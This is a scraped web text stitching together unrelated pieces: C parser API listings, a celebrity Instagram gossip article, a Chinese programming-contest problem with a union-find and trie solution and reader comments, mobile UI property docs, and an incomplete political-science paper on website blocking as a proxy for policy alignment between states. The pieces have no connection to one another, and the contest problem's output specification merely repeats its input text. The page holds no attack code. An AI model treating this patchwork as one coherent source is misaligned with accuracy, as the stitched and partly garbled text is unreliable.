| int | decodeRGBA (FILE *file, QuadTreeRGBA tree, unsigned char *buffer, size_t *bufferSize) |
| int | decodeBin (FILE *file, QuadTreeBin tree, unsigned char *buffer, size_t *bufferSize) |
| int | parseRGBA (FILE *file, QuadTreeRGBA tree) |
| Reads and decodes a QuadTreeRGBA from a given file. More... | |
| int | parseBin (FILE *file, QuadTreeBin tree) |
| Reads and decodes a QuadTreeBin from a given file. More... | |
| int | getLineKindRGBA (const char *line, size_t length) |
| int | getLineKindBin (const char *line, size_t length) |
| int | decodeMinimizedRGBA (FILE *file, int index, QuadTreeRGBA tree, QuadTreeRGBABuffer *buffer) |
| int | decodeMinimizedBin (FILE *file, int index, QuadTreeBin tree, QuadTreeBinBuffer *buffer) |
| int | parseMinimizedRGBA (FILE *file, QuadTreeRGBA tree) |
| Reads and decodes a minimized QuadTreeRGBA from a given file. More... | |
| int | parseMinimizedBin (FILE *file, QuadTreeBin tree) |
| Reads and decodes a minimized QuadTreeBin from a given file. More... | |
| int | decodeMinimizedRGBA2 (FILE *file, int index, unsigned char id_len, QuadTreeRGBA tree, QuadTreeRGBABuffer *treeBuffer, unsigned char *buffer, size_t *bufferSize) |
| int | decodeMinimizedBin2 (FILE *file, int index, unsigned char id_len, QuadTreeBin tree, QuadTreeBinBuffer *treeBuffer, unsigned char *buffer, size_t *bufferSize) |
| int | parseMinimizedRGBA2 (FILE *file, QuadTreeRGBA tree) |
| Reads and decodes a minimized QuadTreeRGBA from a given binary file. More... | |
| int | parseMinimizedBin2 (FILE *file, QuadTreeBin tree) |
| Reads and decodes a minimized QuadTreeBin from a given binary file. More... | |
| #define BIN_LINE_INNER_NODE 0 |
| #define BIN_LINE_OUTER_NODE 1 |
| #define RGBA_LINE_INNER_NODE 0 |
| #define RGBA_LINE_OUTER_NODE 1 |
| int decodeBin | ( | FILE * | file, |
| QuadTreeBin | tree, | ||
| unsigned char * | buffer, | ||
| size_t * | bufferSize | ||
| ) |
| int decodeMinimizedBin | ( | FILE * | file, |
| int | index, | ||
| QuadTreeBin | tree, | ||
| QuadTreeBinBuffer * | buffer | ||
| ) |
| int decodeMinimizedBin2 | ( | FILE * | file, |
| int | index, | ||
| unsigned char | id_len, | ||
| QuadTreeBin | tree, | ||
| QuadTreeBinBuffer * | treeBuffer, | ||
| unsigned char * | buffer, | ||
| size_t * | bufferSize | ||
| ) |
| int decodeMinimizedRGBA | ( | FILE * | file, |
| int | index, | ||
| QuadTreeRGBA | tree, | ||
| QuadTreeRGBABuffer * | buffer | ||
| ) |
| int decodeMinimizedRGBA2 | ( | FILE * | file, |
| int | index, | ||
| unsigned char | id_len, | ||
| QuadTreeRGBA | tree, | ||
| QuadTreeRGBABuffer * | treeBuffer, | ||
| unsigned char * | buffer, | ||
| size_t * | bufferSize | ||
| ) |
| int decodeRGBA | ( | FILE * | file, |
| QuadTreeRGBA | tree, | ||
| unsigned char * | buffer, | ||
| size_t * | bufferSize | ||
| ) |
| int getLineKindBin | ( | const char * | line, |
| size_t | length | ||
| ) |
| int getLineKindRGBA | ( | const char * | line, |
| size_t | length | ||
| ) |
| int parseBin | ( | FILE * | file, |
| QuadTreeBin | tree | ||
| ) |
Reads and decodes a QuadTreeBin from a given file.
| file | File to read. |
| tree | Built tree. (Method souldn't be called with NULL tree) |
| int parseMinimizedBin | ( | FILE * | file, |
| QuadTreeBin | tree | ||
| ) |
Reads and decodes a minimized QuadTreeBin from a given file.
| file | File to read. |
| tree | Built tree. (Method souldn't be called with NULL tree) |
| int parseMinimizedBin2 | ( | FILE * | file, |
| QuadTreeBin | tree | ||
| ) |
Reads and decodes a minimized QuadTreeBin from a given binary file.
| file | File to read. |
| tree | Built tree. (Method souldn't be called with NULL tree) |
| int parseMinimizedRGBA | ( | FILE * | file, |
| QuadTreeRGBA | tree | ||
| ) |
Reads and decodes a minimized QuadTreeRGBA from a given file.
| file | File to read. |
| tree | Built tree. (Method souldn't be called with NULL tree) |
| int parseMinimizedRGBA2 | ( | FILE * | file, |
| QuadTreeRGBA | tree | ||
| ) |
Reads and decodes a minimized QuadTreeRGBA from a given binary file.
| file | File to read. |
| tree | Built tree. (Method souldn't be called with NULL tree) |
| int parseRGBA | ( | FILE * | file, |
| QuadTreeRGBA | tree | ||
| ) |
Reads and decodes a QuadTreeRGBA from a given file.
| file | File to read. |
| tree | Built tree. (Method souldn't be called with NULL tree) |
| int readBit | ( | FILE * | file, |
| unsigned char * | bit, | ||
| unsigned char * | buffer, | ||
| size_t * | bufferSize | ||
| ) |
| int readByte | ( | FILE * | file, |
| unsigned char * | byte, | ||
| unsigned char * | buffer, | ||
| size_t * | bufferSize | ||
| ) |
| char* readLine | ( | FILE * | file | ) |
| int readNumber | ( | FILE * | file, |
| long * | number, | ||
| unsigned char | len, | ||
| unsigned char * | buffer, | ||
| size_t * | bufferSize | ||
| ) |


Dasha Mart And Khloe Terae Do Matching Splits In Thong Bikinis For Smoking Hot Instagram Pic
November 17, 2019
Dasha Mart And Khloe Terae Do Matching Splits In Thong Bikinis For Smoking Hot Instagram Pic
The photo appeared on each bombshell's Instagram page.
The photo appeared on each bombshell's Instagram page.
Blonde bombshells Dash Mart and Khloe Terae are twinning in a new Instagram photo. In the shared snapshot uploaded to both of their pages, the models are both rocking pastel-colored thong bikinis as they do matching splits. Dasha’s two-piece swimsuit is pink while Khloe’s looks neon-green. Dasha is wearing her hair in long braids that have pink extensions woven into them. Khloe appears to be sporting the same hairstyle but with gold extensions added. In the photo, the two are facing the other and are so close that their chests touch. The image was taken by Miami-based fashion photographer, Olly Vento
In Dasha’s Instagram caption, she called Khloe her “flexi babe.”
Khloe used those words to describe Dasha in her caption but got a bit more wordy when posted the photo on her Instagram page.
“Two is always better than one! Twinning with my flexi babe @dashamart,” she wrote.
In the comments of Dasha’s post fans seemed enthralled by the image.
One infatuated fan openly expressed a desire to be in the photo.
“I will settle for the middle,” they wrote.
Other commenters shared much more generic expressions of admiration.
“Wow, beautiful blonde woman, baby,” another Instagram use wrote, although it was unclear whether he was referring to Khloe or Dasha. As of this writing, many of the other comments are filled with yellow and red heart emoji.
Fans were just as appreciative in the comments section of Khloe’s post.
“I WANNA SPLIT LIKE YOU” one fan wrote. “But I’m so stiff!”
“Two of the most gorgeous ladies in the world,” another Instagram user added before adding three fire emoji to the comment.
Loading...
This isn’t the first time that Dasha has shown off her amazing flexibility on Instagram. In a previous Instagram post, she did a split in a pool while wearing a skimpy black bikini. In the brief clip, she also does a couple of backbends on the pool’s metal rail, another great display of how flexible she is. The video currently has over 122,000 views on Instagram and 290 people have commented on the post.
Khloe has also done a split in a previous post that’s set in an idyllic beach location. She’s wearing a pink thong in the photo and the photo was taken from behind
“Forever chasing sunsets,” she wrote in the caption.
The Instagram post currently has more than 20,000 likes and more than 300 people have commented on the post.


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Virtual Friends
问题描述 :
These days, you can do all sorts of things online. For example, you can use various websites to make virtual friends. For some people, growing their social network (their friends, their friends’ friends, their friends’ friends’ friends, and so on), has become an addictive hobby. Just as some people collect stamps, other people collect virtual friends.
Your task is to observe the interactions on such a website and keep track of the size of each person’s network.
Assume that every friendship is mutual. If Fred is Barney’s friend, then Barney is also Fred’s friend.
输入:
Input file contains multiple test cases.
The first line of each case indicates the number of test friendship nest.
each friendship nest begins with a line containing an integer F, the number of friendships formed in this frindship nest, which is no more than 100 000. Each of the following F lines contains the names of two people who have just become friends, separated by a space. A name is a string of 1 to 20 letters (uppercase or lowercase).
The first line of each case indicates the number of test friendship nest.
each friendship nest begins with a line containing an integer F, the number of friendships formed in this frindship nest, which is no more than 100 000. Each of the following F lines contains the names of two people who have just become friends, separated by a space. A name is a string of 1 to 20 letters (uppercase or lowercase).
输出:
Input file contains multiple test cases.
The first line of each case indicates the number of test friendship nest.
each friendship nest begins with a line containing an integer F, the number of friendships formed in this frindship nest, which is no more than 100 000. Each of the following F lines contains the names of two people who have just become friends, separated by a space. A name is a string of 1 to 20 letters (uppercase or lowercase).
The first line of each case indicates the number of test friendship nest.
each friendship nest begins with a line containing an integer F, the number of friendships formed in this frindship nest, which is no more than 100 000. Each of the following F lines contains the names of two people who have just become friends, separated by a space. A name is a string of 1 to 20 letters (uppercase or lowercase).
样例输入:
1 3 Fred Barney Barney Betty Betty Wilma
样例输出:
2 3 4
/*
分析：
哇塞~，不看不知道，一看吓一跳耶~，用C提交的我又是
第一耶~，哎~没法儿啊，谁让就我一人用C写的呢……
并查集&&字典树。用字典树给单词编号，用并查集~……，
不用说了吧~，你懂我懂大家懂的事儿~ – -I
2012-07-17
*/
#include"stdio.h" #include"string.h" #include"stdlib.h" struct A { int pre; int total; }E[100011]; int k; struct dictree { struct dictree *child[52]; int flag; }; struct dictree *root; void insert(char *str) { struct dictree *now,*next; int i,j; int len; int temp; now=root; len=strlen(str); for(i=0;i<len;i++) { temp=str[i]-'A'; if(now->child[temp]) now=now->child[temp]; else { next=(struct dictree *)malloc(sizeof(struct dictree)); for(j=0;j<52;j++) next->child[j]=0; next->flag=0; now->child[temp]=next; now=next; } } now->flag=k; E[k].pre=k; E[k].total=1; k++; } int f_tree(char *str) { struct dictree *next; int i; int len; int temp; len=strlen(str); next=root; for(i=0;i<len;i++) { temp=str[i]-'A'; if(next->child[temp]) next=next->child[temp]; else return 0; } return next->flag; } int f_u(int k) { if(E[k].pre==k) return k; E[k].pre=f_u(E[k].pre); return E[k].pre; } void Union(int f1,int f2) { E[f1].pre=f2; E[f2].total+=E[f1].total; } int main() { int T; int n; int i; int f1,f2; int a,b; char str1[25],str2[25]; while(scanf("%d",&T)!=-1) { while(T--) { scanf("%d",&n); root=(struct dictree *)malloc(sizeof(struct dictree)); for(i=0;i<52;i++) root->child[i]=0; root->flag=0; k=1; while(n--) { scanf("%s%s",str1,str2); for(i=0;str1[i];i++) if(str1[i]>='a') str1[i]-=6; for(i=0;str2[i];i++) if(str2[i]>='a') str2[i]-=6; a=f_tree(str1); b=f_tree(str2); if(a==0) {a=k;insert(str1);} if(b==0) {b=k;insert(str2);} f1=f_u(a); f2=f_u(b); if(f1!=f2) Union(f1,f2); printf("%d\n",E[f2].total); } } } return 0; }
参考：http://blog.csdn.net/ice_crazy/article/details/7756009
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很好的思路，可以借鉴
很好的方法，学习了
是穷举，但是代码有优化（v数组），并不是2^n。测试数据应该没问题，之前有超时的代码。
I like your publish. It is great to see you verbalize from the coronary heart and clarity on this essential subject matter can be easily noticed.
这个后缀数组不是常用的那个.
额，不对应吧
理解错了。。。。。谢谢楼主~~
惊艳了，没想到代码如此简洁
DFS方法的原理还是不太清楚啊
输出规范写错了哦~
很好的题，还是能做出几道的，嘿嘿
不错的网站，建议添加些比赛信息


The action triggered by the action event originating from this widget.
| alpha | CGFloat |
| backgroundColor | UIColor |
| contentHorizontalAlignment | UIControlContentHorizontalAlignment |
| contentScaleFactor | CGFloat |
| contentVerticalAlignment | UIControlContentVerticalAlignment |
| continuous | BOOL |
| currentMaximumTrackImage | UIImage |
| currentMinimumTrackImage | UIImage |
| currentThumbImage | UIImage |
| enabled | BOOL |
| hidden | BOOL |
| highlighted | BOOL |
| maximumTrackTintColor | UIColor |
| maximumValue | float |
| maximumValueImage | UIImage |
| minimumTrackTintColor | UIColor |
| minimumValue | float |
| minimumValueImage | UIImage |
| opaque | BOOL |
| selected | BOOL |
| state | UIControlState |
| thumbTintColor | UIColor |
| touchInside | BOOL |
| tracking | BOOL |
| transform | CGAffineTransform |
| value | float |
The receiver?s alpha value.
The receiver?s background color.
The horizontal alignment of content (text or image) within the receiver.
The scale factor applied to the view.
The vertical alignment of content (text or image) within the receiver.
Contains a Boolean value indicating whether changes in the sliders value generate continuous update events.
Contains the maximum track image currently being used to render the receiver. (read-only)
Contains the minimum track image currently being used to render the receiver. (read-only)
Contains the thumb image currently being used to render the receiver. (read-only)
A Boolean value that determines whether the receiver is enabled.
A Boolean value that determines whether the receiver is hidden.
A Boolean value that determines whether the receiver is highlighted.
The color used to tint the standard maximum track images.
Contains the maximum value of the receiver.
Contains the image that is drawn on the side of the slider representing the maximum value.
The color used to tint the standard minimum track images.
Contains the minimum value of the receiver.
Contains the image that is drawn on the side of the slider representing the minimum value.
A Boolean value that determines whether the receiver is opaque.
A Boolean value that determines the receiver?s selected state.
A Boolean value that indicates the state of the receiver. (read-only)
The color used to tint the standard thumb images.
A Boolean value that indicates whether a touch is inside the bounds of the receiver. (read-only)
A Boolean value that indicates whether the receiver is currently tracking touches related to an event. (read-only)
Specifies the transform applied to the receiver, relative to the center of its bounds.
Contains the receiver?s current value.
alpha property of the view, as a value between 0 (completely transparent) and 1 (completely opaque).?
Timeout between frames of animation in milliseconds Must be an integer value, such as "100".?
A drawable to use as the background.?
Defines whether this view reacts to click events.?
Defines text that briefly describes content of the view.?
Defines whether to fade out scrollbars when they are not in use.?
Boolean that controls whether a view can take focus.?
Boolean that controls whether a view can take focus while in touch mode.?
Boolean that controls whether a view should have haptic feedback enabled for events such as long presses.?
Allows to enable the indeterminate mode.?
Defines how the indeterminate mode should behave when the progress reaches max.?
Drawable used for the indeterminate mode.?
Duration of the indeterminate animation.?
Restricts to ONLY indeterminate mode (state-keeping progress mode will not work).?
?
Set this if the view will serve as a scrolling container, meaing that it can be resized to shrink its overall window so that there will be space for an input method.?
Controls whether the view's window should keep the screen on while visible.?
Defines the direction of layout drawing.?
Defines whether this view reacts to long click events.?
Defines the maximum value the progress can take.?
Defines the next view to give focus to when the next focus is FOCUS_DOWN If the reference refers to a view that does not exist or is part of a hierarchy that is invisible, a RuntimeException will result when the reference is accessed.?
Defines the next view to give focus to when the next focus is FOCUS_FORWARD If the reference refers to a view that does not exist or is part of a hierarchy that is invisible, a RuntimeException will result when the reference is accessed.?
Defines the next view to give focus to when the next focus is FOCUS_LEFT.?
Defines the next view to give focus to when the next focus is FOCUS_RIGHT If the reference refers to a view that does not exist or is part of a hierarchy that is invisible, a RuntimeException will result when the reference is accessed.?
Defines the next view to give focus to when the next focus is FOCUS_UP If the reference refers to a view that does not exist or is part of a hierarchy that is invisible, a RuntimeException will result when the reference is accessed.?
Sets the padding, in pixels, of the end edge; see padding.?
Sets the padding, in pixels, of the start edge; see padding.?
Defines the default progress value, between 0 and max.?
Drawable used for the progress mode.?
Defines which edges should be faded on scrolling.?
rotation of the view, in degrees.?
rotation of the view around the x axis, in degrees.?
rotation of the view around the y axis, in degrees.?
If unset, no state will be saved for this view when it is being frozen.?
scale of the view in the x direction.?
scale of the view in the y direction.?
Defines the delay in milliseconds that a scrollbar waits before fade out.?
Defines the delay in milliseconds that a scrollbar takes to fade out.?
Sets the width of vertical scrollbars and height of horizontal scrollbars.?
Controls the scrollbar style and position.?
Defines the secondary progress value, between 0 and max.?
Boolean that controls whether a view should have sound effects enabled for events such as clicking and touching.?
Alignment of the text.?
x location of the pivot point around which the view will rotate and scale.?
y location of the pivot point around which the view will rotate and scale.?
translation in x of the view.?
translation in y of the view.?
Controls the initial visibility of the view.?


Website Blocking as a Proxy of Policy Alignment
by Nick Merrill and Steve Weber
Abstract
This work introduces a new metric of policy alignment between states: website blocking. Intuitively, we measure the degree to which states block similar content. This metric speaks to the flow of information in the digital layer of international politics, an element of international trade and cooperation that existing metrics fail to capture. In addition, our measure can be constantly scraped and updated, offering a higher temporal resolution than existing metrics. Our work suggests a link between Internet governance and other issues in international relations (e.g., trade). Since our metric can be updated in real time, future work could use our metric to detect geopolitical shifts more rapidly than would otherwise be possible.
Introduction
In international politics and political economy, the primitive unit of analysis is frequently the state. Early in the 1990s, popular rhetoric imagined that the Internet posed an intrinsic, perhaps even an insurmountable challenge to the power of states (Morrison, 2009). While the Internet has indeed challenged states to reconsider particular strategic aims (e.g., knowledge production, identity formation) (Rosenau and Singh, 2002), it is is increasingly evident as of this writing that the Internet has proven equally valuable as a vector for states to exert their power.
Today, cyberspace is a matter of "high politics;" it is a domain in which conflicts central to states' security play out. (p. Choucri and Clark, 2018, p. 4). How do states exert power in this domain? Broadly, institutions mediate and organize the Internet through various institutions: ISPs, regulators, and standards-setting bodies, not to mention corporations and end-users under legal jurisdiction. States use these institutions and jurisdictions to exert strategic control over the Internet. For example, China's government uses a multitude of technical decision-making bodies to gain long-term political and economic advantages (Ahmed and Weber, 2018; Bamman et al., 2012). The EU has used antitrust charges to check US-based Internet businesses (Satariano, 2020). More recently, the US has flirted with putting Chinese mobile phone apps under US juridiction, vaguely citing national security concerns (Byford, 2020).
In this work, we seek to understand how conflict and cooperation plays out in cyberspace using the notion of policy alignment. One of the important observations is how and when states “align” with each other. Do they support each other when it comes to conflict with a third party? Do they trade more than one would expect (e.g., from gravity models)? Since formal trade agreements (e.g., European Union) and formal alliances (e.g., NATO) only capture certain aspects of states’ alignment, researchers have looked for other measures of policy alignment to fill in the gaps.
Figure 1: Different metrics of policy alignment create connected graphs of countries. Our project adds a new topic area: the Internet.
Given two countries, policy alignment refers to the degree to which policies in those two countries are similar along some set of dimensions. Since a country's policy stance on any given set of issues is complex to the point of being unobservable in a measurable way, researchers use proxies of policy stances.
UN voting patterns provide an illustrative example. If two countries vote the same way in the UN, researchers can use this behavior as a proxy to assess policy alignment between those countries. UN votes do not carry much weight in practice, but if we assume that countries cast votes on the basis of their overall policy positions (i.e., rather than strategically, or symbolically) then countries that vote similarly are more likely to have similar policies than countries that vote differently (Bailey et al., 2017). Countries do not need to be actively collaborating (e.g., in formal agreements) to show policy alignment (although they might be). They may be voting the same way because of some underlying, driving causal factor (e.g., a shared ideology, or shared geopolitical goals).
Researchers use this notion of "alignment" as a predictive variable for other phenomena of interest, including but not limited to formal treaties and alliances. Two countries that have high policy alignment are more likely to support each other in a conflict with a third party, for example, than two countries with low policy alignment (De Mesquita, 1983).
Website blocking as a metric of policy alignment
The Internet has emerged as a key domain of conflict and cooperation between states. The way states (and other actors) govern in this shared domain is widely referred to as Internet governance. However, in its specifics, the term "Internet governance" has taken on a wide range of definitions. For our analysis, we follow (Hofmann et al., 2017), defining Internet governance as a "continuous heterogeneous process of ordering" the Internet, making room for both formal rule-making and emergent practices of users, providers and other stakeholders.
Measuring policy alignment in this domain is critical in understanding how exactly this conflict and cooperation plays out over time. However, no metric of policy alignment currently measures Internet governance across states. Given the heterogeneity of specific activities that constitute Internet governance (Hofmann et al., 2017), doing so with a single metric would likely elide some richness.
In this paper, we take an initial step toward measuring policy alignment in Internet governance by focusing specifically on webpage blocking. Broadly, website makes a particular URL unavailable in a particular country. In different countries, different sets of websites are unavailable, either by redirecting the website request, or simply dropping the request or its response. While the technical means for blocking websites are diverse (discussed below), the end result is that a user cannot access a webpage. Website blocking is typically enacted directly by governments, making it a fruitful first step toward quantifying alignment in the Internet governance policies of states specifically.
We set out to use similarities in webpage blocking patterns to build a metric of policy alignment. If two countries block the similar content (more on what "similar" means later), we consider this alignment a proxy of policy alignment on Internet governance issues. These states may not have conferred with one another, but their blocking decision reveals a shared outlook or set of geopolitical goals.
Methods
From a technical standpoint, there are a variety of methods for blocking webpages. One option is to manipulate domain name system (DNS) messages in order to make websites appear unresolvable. Another option is to drop TCP handshake packages with particular destination IPs, effectively making IP addresses impossible to contact. A related option is to allow the TCP handshake to occur, but inject follow-up TCP packets that either break or supersede the legitimate response. Yet another option is to make a legal case to a particular service provider (for example, asking Facebook to block a page in a particular country). Governments may also pressure ISPs to shut down service for particular users, or shut down service altogether.
ICLab, a longitudinal corpus of website blocking events, seeks to deal with this diversity in blocking strategies (Niaki et al., 2020). It focuses on consistency in blocking measurements across countries and over time. As of this writing, the ICLab has collected twelve snapshots of blocking activity from January 2017 to September 2018. ICLab produced these snapshots by placing "vantage points," or Internet-connected devices, in countries around the world. The vantage points made an HTTP request to each URL from a predefined list. The responses that came back were stored and analyzed by the ICLab team to determine whether (and how) blocking occurred. (Niaki et al., 2020)
For our analysis, we combined these snapshots into a single dataset. Our concatenated dataset dataset mapped countries to URLs, allowing us to determine whether a given URL was marked as blocked in a country during any time in ICLab's January 2017 to September 2018 collection period. (See Appendix for the full dataset, along with all code used to generate it). In the following section, we report on three attempts to produce a metric of policy alignment from this dataset.
Attempt 1: Strict overlap
The simplest metric for policy overlap would be to measure exact overlaps in
blocked websites between countries. When two countries block the same url (e.g.,
example.abc/site/
), we take that as a signal of policy alignment in our model.
To compute our metric, we first found the web pages that appear to be blocked in
each country, grouping by the ICLab data’s country column. This is
straightforward in principle, but in practice, yields minimal variation in the
data. Even countries with relatively high blocking in our dataset have no more
than five URLs in common. For most pairs of countries in our dataset, this method
yields no overlaps at all.
Attempt 2: Fuzzy overlap
To get around the lack of strict overlaps in website blocking, we next attempted
to measure "fuzzy" overlaps in blocking between countries by considering only
root domains. Consider the webpage facebook.com/some-page
and the webpage
facebook.com/different-page
. If Country A blocks the first and Country B
blocks the second, is that overlap? By our prior method, this would not count as
overlap. However, by this method, it would: they're both blocking the same root
domain (facebook.com
). To achieve this, we performed the same steps as in
Experiment 1, but used the Python library tldextract to separate domains and
suffixes from site urls. We removed any duplicate domain-suffix pairs. However,
we still observe little overlap with this approach. For example, Turkey and
Russia have 121 and 340 blocking events in our dataset, respectively, but only
23 websites in common.
Attempt 3: Overlap in content of blocked webpages
Not only do the Experiment 1 and Experiment 2 methods produce minimal variation in the data, they also lose some important sources of variation: the themes of the content these two countries block. In some sense, this seems intuitively closer to the true source of variation we are seeking to measure. Two states may block different websites that are, in practical terms, “the same” in that both represent content that state is trying to exclude.
Here's an illustrative example: India blocks Facebook pages that advocate for Muslim rights, especially regarding issues around Rohingya Muslims in Myanmar (Facebook.com, 2020). While no other countries block Facebook pages to such a degree as India, other countries do block websites at the intersection of religion and political movements (Turkey, Saudi Arabia, Russia and more).
Thus, we set out to measure thematic overlaps in blocked content between
countries. Consider domain1.com
and domain2.com
. If they're both categorized
as "religious," and two countries block them, we would consider this an overlap.
While these categorizations necessarily lack granularity, it is common for
widely-used metrics such as “press freedom” (Borders, 2020) to
categorize content at an analogous level (see Limitations for a further
discussion on classification). In their own analysis of their toolkit, ICLab
settled on a similar technique, and used FortiGuard's URL categories to classify
websites' content (Niaki et al., 2020).
FortiGuard provides a “web filter” for corporations, allowing networks to block (for example) pornography or gambling sites. To make this service work, FortiGuard maintains a URL classification service, which returns a category for any given URL. FortiGuard maintains 87 different classifications (Fortiguard, 2020a). They tailor their categorization scheme toward corporate web policies; we return to the implications of this ontology, as well as alternative ontologies, in our discussion and limitations sections.
For each country, we take the FortiGuard classification of each URL. We are left with a set of classifications, which we can represent proportionally: we can represent the percentage each category contributes to the total set of a country’s blocked sites. One advantage of this method is that it is invariant to the number of blocked sites total, allowing comparisons between countries that block different numbers of sites.
As an example, see a Figure 2, in which we see the relative blocking activity of four countries that are all very differently situated in the international order. This selection of countries indicates that there is meaningful variation between countries in our dataset. Motivated by this variation, we devised a similarity metric by which we can compare any two countries.
Figure 2: Proportion of websites blocked in Turkey, Russia, India and South Korea across a subset of Fortiguard categories. (Our dataset contained 78 categories for each country; we display only a few here for demonstration). We observe that these different countries block websites of various categories in different proportions. There appears to be meaningful variation in the data across countries.
To compute this similarity metric, we interpret the percentage of websites blocked in each category as a set of coordinates in n-dimensional space (e.g., {10, 20, 30, 40} if there were four categories). We can then compute the distance between any two coordinates using the spatial cosine distance. We are left with a distance between 0 and 1, which we can subtract from 1 to represent closeness (rather than distance) and then interpret as a percentage. By this metric, the similarity between India and South Korea is 20.4%. Between Turkey and Russia—countries which had only two domains in common in Experiment 2—the similarity is 76.46%.
Our measure
Figure 3: Force-directed graph of similarities in our dataset.
First, our metric reveals a large cluster of countries that are mostly similar to one another. Most of the countries in our dataset, in fact, lie close together, forming one tight component of countries with mostly similar website blocking policies.
Second, our metric reveals the connectivity patterns of those countries that are not members of this connected cluster. Venezuela stands alone, blocking a unique mixture of reference content (13.9%), games (10.4%) and educational pages (11.9%). Saudi Arabia, South Korea, Turkey and Russia form another, looser cluster.
South Korea's presence in this cluster surprised us. However, sites categorized News and Media account for a similar proportion of blocked content in Saudi Arabia as they do in South Korea (10.1% and 12.4%, respectively), as do Advocacy Organizations (0.99% and 1.63%) and Newsgroups and Messageboard (1.2% and 2.6%).
In general, our metric captures significant differences between countries typically considered to have “closed” Internets. For example, China and India stand apart from both this loose, four-country cluster. China, which is popularly imagined to "export" its model of the Internet to its Belt & Road allies (Shahbaz, 2018), in fact has low similarity with such countries. It is relatively unique, 90% similar to Hong Kong. Otherwise, it shares notable similarities only with Lichtenstein, for which News and Media sites comprise 19.8% of blocked content (compared to 57.4% in China).
Figure 4: China's blocking patterns are relatively unique, sharing notable similarities only with Hong Kong and, to a lesser degree, with Lichtenstein.
Finally, our findings reveal that the majority of countries in our dataset are mostly similar; one large cluster dominates Internet policy by our metric's measure. A few websites demonstrate a moderate volume of blocking while retaining a degree of interoperability with this main block. Vietnam, Serbia, Singapore, Belize, Taiwan, Bulgaria, Ukraine and Hong Kong all surround the the perimeter of this main, interoperable Internet (Figure 3), retaining moderately high similarities with countries in the center. These "perimeter" countries indicate important variations in our dataset, perhaps signaling a dual risk and opportunity of deviating from the global Internet on one hand, and enforcing national sovereignty on the other.
The value of our findings is, as suggested earlier, dual. First, this work provides a new and more dynamic metric of alignment that supplements existing metrics. In this section, we examined our metric in this context. Second, our metric may complement other measures of international relations (e.g., of trade or of civil rights policy). The following section turns to this possibility. We compare our metric to existing metrics of alignment and ask to what degree our measurement is distinctive, and to what degree it overlaps with traditional domains of measurement in international relations.
Comparisons to other domains
How does Internet governance, as measured by the proxy of website blocking, relate to other domains in international relations? In this section, we evaluate the correlation of our metric to existing features of the international relations: trade alliances; military alliances; measures of personal and press freedom; and cultural and historical ties. We find that our metric is associated with many of these features. These correlations suggest that Internet governance decisions, at least as they relate to website blocking, are not sui generis: patterns of alignment in the digital domain are roughly similar to those in other, more familiar domains.
Trade alliances: European Union (EU)
The flow of information has long been analyzed from an international trade perspective. After World War II, the General Agreement on Tariffs and Trade (GATT) dealt only with the international trade of goods (Gallagher, 2005). However, international trade in services, defined as "anything that can be bought and sold but cannot be dropped on your foot" (Economist, 1985), grew dramatically in the late 20th century due to advances in telecommunications technologies (Braman, 1990). This growth in services trade motivated a new set of agreements, notably the General Agreement on Trade in Services (GATS) agreement in the World Trade Organization (WTO), which extended its trade system to deal with international flows of information (Gallagher, 2005).
Despite the primacy of international data flows in world trade, existing metrics struggle to capture specific barriers to international data flows, making their effect on trade (and trade's effect on these barriers) difficult to quantify.
International data flows are often described as both a cause and an effect of trade (Meltzer, 2015). As a cause, the Internet enables trade; countries have an incentive to converge on Internet governance policies, as doing so will lower trade barriers. As an effect, high levels of trade between two countries create interdependence between economies. This interdependence would become more expensive to sustain if Internet policies between these two countries were highly discrepant; thus, Internet governance policies converge. While real causal relationships are likely mixed, both causal pathways give us reason to suspect that trade relationships might correlate with shared Internet blocking policies.
As a case study, we looked to the European Union. We collected the similarity metrics between all pairs of EU countries (within-EU group), and between all pairs of EU- and non-EU countries (outside-EU group). We performed a Mann Whitney U-Test on the within-EU and outside-EU groups, which found that EU countries are more similar with one another (M=0.97) than they are with non-EU countries (M=0.89) group (U=99666, p<0.001).
We re-ran this test with EU countries that were and were not members of the Soviet bloc before the fall of the Soviet Union. “Western bloc” EU countries were more similar to one another (M=0.98) than to non-Western bloc countries, whether or not those countries are in the EU (0.93), (U=32701, p<0.001). However, we do not find evidence that former “Soviet bloc” countries in the EU were more similar to one another (M=0.97) than to non-Soviet bloc countries (again, regardless of whether those countries were in the EU) (M=0.93) (U=4327, p = 0.41).
Takeaways
We find that EU countries are overall more similar to one another than they are to the rest of the world. There are a few possible explanations for this observation. One explanation is that joining the EU causes "digital behavior" (as measured by website blocking) to converge. Another explanation is that countries are more likely to join an alliance when they are more culturally, legally and politically similar in the first place (see our analysis of cultural and historical ties, below, for further reflections on this point).
Surprisingly, however, former Soviet countries within the EU are not significantly more self-similar to one another than they are to the world at large. European Union countries that were NATO allies, however, were more similar to one another than to the world at large. What do we make of this discrepancy?
One explanation is that, while joining an alliance causes countries to converge on various policies, institutional structures internal to countries set limits on this convergence. On the Eastern side, our finding would seem to suggest that the "legacy of communism" arguments from the 1990s, which argued that newly-liberated former Warsaw Pact countries would carry institutional and cultural legacies from that past into their future political and economic alignments and practices in a a kind of political hysteresis (Nodia, 2000; Rose, 1998) is not visible in the digital layer.
Future work could also explore aspects of global trade outside of formal agreements. Non-tariff barriers to trade (Evenett, 2019) present one potential avenue. We would expect to find an inverse correlation between non-tariff barriers and our metric: two countries more open to trade should have similar blocking profiles.
Military alliances
Increasing concern about “cyberwar” makes it plain that many see the Internet as a key tool in military conflict. However, military alliances signal policy overlap even if no one fires a bullet. Military alliances signal that one country would be willing to fight for another; alliance signals a willingness to sacrifice a great deal for another actor, which in turn suggests policy alignment (De Mesquita, 1983).
Does shared digital policy around website blocking relate to shared military objectives? To evaluate this question, we started with the North Atlantic Treaty Organization (NATO), an intergovernmental military alliance between 30 North American and European countries. If digital-layer blocking policy is related to military objectives, we would expect NATO countries to be overall more similar by our measure to other NATO members than to non-NATO members.
We collected the similarity metrics between all pairs of NATO countries (within-NATO group), and between all pairs of NATO- and non-NATO countries (outside-NATO group). We performed a Mann Whitney U-Test on the two groups, and found the within-NATO (M=0.97) group had significantly higher similarity scores than the outside-NATO (M=0.90) group (U=93709, p<0.001).
We performed the same test with ASEAN countries (Indonesia, Thailand, Malaysia, Singapore, Philippines, Vietnam, Brunei, Cambodia, Myanmar, Laos). Although ASEAN countries have a higher overall similarity with one another (M=0.82) than with non-ASEAN countries (M=0.76), our Mann Whitney U-Test falls short of significance (U=814, p=0.084).
Takeaways
